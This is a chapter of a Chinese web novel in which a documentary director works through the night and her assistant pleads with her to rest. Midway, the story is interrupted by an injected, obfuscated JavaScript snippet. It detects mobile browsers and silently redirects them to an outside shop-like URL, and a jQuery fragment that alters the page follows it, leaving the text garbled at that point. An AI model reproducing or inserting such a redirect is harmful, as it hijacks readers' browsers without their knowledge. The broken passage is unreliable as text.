凌晨三点，北京东四环的工作室还亮着灯。


    沈小鱼坐在剪辑室里，盯着三块屏幕。


    左边屏幕是《历史的温度》敦煌篇的粗剪，四十五分钟素材要剪成三十分钟。


    中间屏幕是柏林电影节后续宣传的Zoom会议，德国那边是晚上八点，选片委员会主席正在讲话。


    右边屏幕开着故宫宣传片的修改意见文档，标红处密密麻麻。


    她戴着耳机，左耳听剪辑师讲解节奏问题，右耳听德语翻译的同声传译，眼睛还要扫文档。


    手指在键盘上敲击，回邮件给故宫：“第三处修改建议收到，已调整。但关于色调，建议保留敦煌原片的灰黄色调，更符合文物质感。”


    点击发送。


    然后切到会议界面，用英语说：“关于中国首映的安排，我坚持原计划。柏林是全球首映，但中国是心灵首映。”


    德国老头在屏幕里耸耸肩：“沈，你真是个固执的艺术家。”


    “谢谢夸奖。”她微笑。


    切回剪辑界面，对剪辑师说：“第三段飞天的镜头再延长两秒，音乐从这里进。”


    剪辑师点头操作。


    墙上的时钟，秒针一格一格跳动。


    咚，咚，咚。


    像心跳，像倒计时。


    许昕推门进来时，看见的就是这样的画面。


    沈小鱼坐在三个屏幕的荧光里，脸色苍白，眼下的乌青在冷光下格外明显。


    她左手拿着手机，正在低头发语音：“梅姐，明天的品牌活动推到下周，就说我重感冒。”


    声音沙哑，像砂纸磨过。


    “沈导……”许昕轻声唤。


    沈小鱼没听见。


    她正盯着中间屏幕，眉头紧皱——德国那边在讨论颁奖典礼的座位安排，想把她安排在好莱坞明星旁边，但她想跟剧组坐一起。


    “许昕，”她突然开口，没回头，“帮我把保温杯拿过来。”


    许昕这才看见，桌角放着一个不锈钢保温杯，盖子开着，里面的水早就凉了。


    她拿起杯子去接热水，回来时，沈小鱼正在揉太阳穴。


    动作很重，像要把疼痛按进去。


    “沈导，您该休息了。”许昕把杯子放在她手边。


    “还有两个片子要审。”


    沈小鱼端起杯子，喝了一口，烫得皱眉，但还是咽下去了，“故宫的宣传片明天要交终版，敦煌篇后天要送审。柏林那边还有一堆邮件……”


    她说着，手指在键盘上没停。


    敲击声在寂静的夜里格外清晰。


    许昕站在旁边，看着她的侧脸。


    不过一个月，沈小鱼瘦了一大圈。


    脸颊凹下去，锁骨凸出来，手腕细得仿佛一折就断。


    但眼睛更亮了——不是健康的亮，是一种燃烧过度的、近乎病态的亮。


    像蜡烛，在拼命燃烧最后一点蜡。


    “您这样……身体会垮的。”许昕声音发颤。


    沈小鱼敲键盘的手顿了顿。


    然后她笑了，很轻：“垮不了。我垮了，你们怎么办？”


    她说得随意，但许昕的眼泪瞬间掉下来。


    啪嗒，砸在地板上。


    沈小鱼终于转过头。


    看见许昕哭，她愣了一下，然后伸手，摸了摸小姑娘的头。


    “哭什么。”


    她说，“这条路是我自己选的。”


    “可是……”


    许昕哽咽，“您不用一个人扛这么多……”


    “不是一个人。”


    沈小鱼指了指屏幕，“有剪辑师陪我熬夜，有德国老头跟我开会，有故宫的老师傅等我改片子。还有你，给我倒热水。”


    她顿了顿：


    “许昕，你知道吗？这个世界上，最奢侈的不是钱，是时间。而我现在做的每件事，都是在用我的时间，换一些……比时间更长久的东西。”


    “什么东西？”


    “比如，让更多人看见敦煌。比如，让中国电影在国际上多说一句话。比如，让文物从库房走到孩子们眼里。”


    沈小鱼说得很慢，每个字都很认真：


    “这些事，现在不做，可能就没人做了。所以我的时间不够用，不是因为他们逼我，是因为我……贪心。”


    她笑了，眼角有细纹：


    “贪心想让好东西，被更多人看见。贪心想让这条路，走得远一点，再远一点。”


    许昕哭得说不出话。


    她想起自己小时候，在山村里，唯一的文化活动就是村里那台破电视。


    她趴在窗户上看《还珠格格》，梦想着外面的世界。


    后来她遇见沈小鱼，走出大山，走到柏林。


    现在她明白了——沈小鱼在做的，就是给无数个“小时候的许昕”，打开一扇窗。


    而这扇窗，需要有人用身体去撑。


    用时间，去换。


    “那您至少……”许昕抹着眼泪，“至少睡一会儿。就一会儿。”


    沈小鱼看看时钟：三点二十。


    再看看屏幕：柏林会议还有十分钟结束，故宫文档改到三分之二，敦煌粗剪还剩最后一段。


    “好。”


    她说，“我趴十分钟。”


    说完，真的就趴在了桌上。


    几乎是瞬间，呼吸就均匀了。


    她太累了。


    许昕轻手轻脚走过去，把空调温度调高，从柜子里拿出毯子，盖在她身上。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17095849|193092||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>然后她坐在旁边的椅子上，守着。


    剪辑师从隔壁探头，用口型问：“睡了？”


    许昕点头。


    剪辑师松了口气，也趴下了。


    工作室陷入寂静。


    只有机箱运转的轻微嗡鸣，和沈小鱼平稳的呼吸声。


    十分钟后，手机震动。


    沈小鱼几乎是在震动的瞬间就弹了起来，眼睛还没完全睁开，手已经摸向鼠标。


    “到点了。”她喃喃，声音带着刚醒的沙哑。


    许昕把热好的牛奶递过去。


    沈小鱼接过，一口气喝了半杯，然后重新戴上耳机。


    “继续。”


    她又变回了那个三头六臂的时间管理大师。


    但许昕看见，在她抬手操作时，毯子滑落了一角。


    而她没发现。


    或者说，没精力发现。


    窗外，天色渐渐泛白。


    凌晨四点，柏林会议结束。


    四点二十，故宫文档修改完成发送。


    五点，敦煌粗剪最后一段通过。


    沈小鱼终于关掉所有屏幕。


    她靠在椅背上，闭着眼睛，一动不动。


    许昕以为她又睡着了。


    但过了一会儿，听见她说：


    “许昕，你知道吗？我有时候会怕。”


    声音很轻，轻得像梦呓。


    “怕什么？”


    “怕时间不够。”


    沈小鱼睁开眼睛，看着天花板，“怕我做得不够快，不够好。怕等我老了，回头看，发现该做的事，一件都没做成。”


    她顿了顿：


    “所以现在不能停。停了，就来不及了。”


    许昕想说“来得及”，想说“您已经做了很多了”。


    但话到嘴边，咽了回去。


    因为她知道，对沈小鱼这样的人来说，“够了”这个词，不存在。


    她们的心里有一座山，永远在爬，永远觉得山顶还远。


    “那您答应我一件事。”许昕说。


    “什么？”


    “每周至少吃三顿饭，睡两次整觉。”


    许昕很认真，“不然……不然我就不演了，回山村喂猪去。”


    沈小鱼愣住，然后笑了。


    真正的笑，不是那种应付场面的笑。


    “好。”


    她说，“我答应你。”


    窗外的天空，从深蓝变成鱼肚白。


    第一缕晨光透进窗户，照在沈小鱼脸上。


    她脸上的疲惫，在光里无所遁形。


    但眼睛，依然亮着。


    像戈壁滩的星，像洞窟里的灯，像所有在黑暗里坚持发光的东西。


    永不熄灭。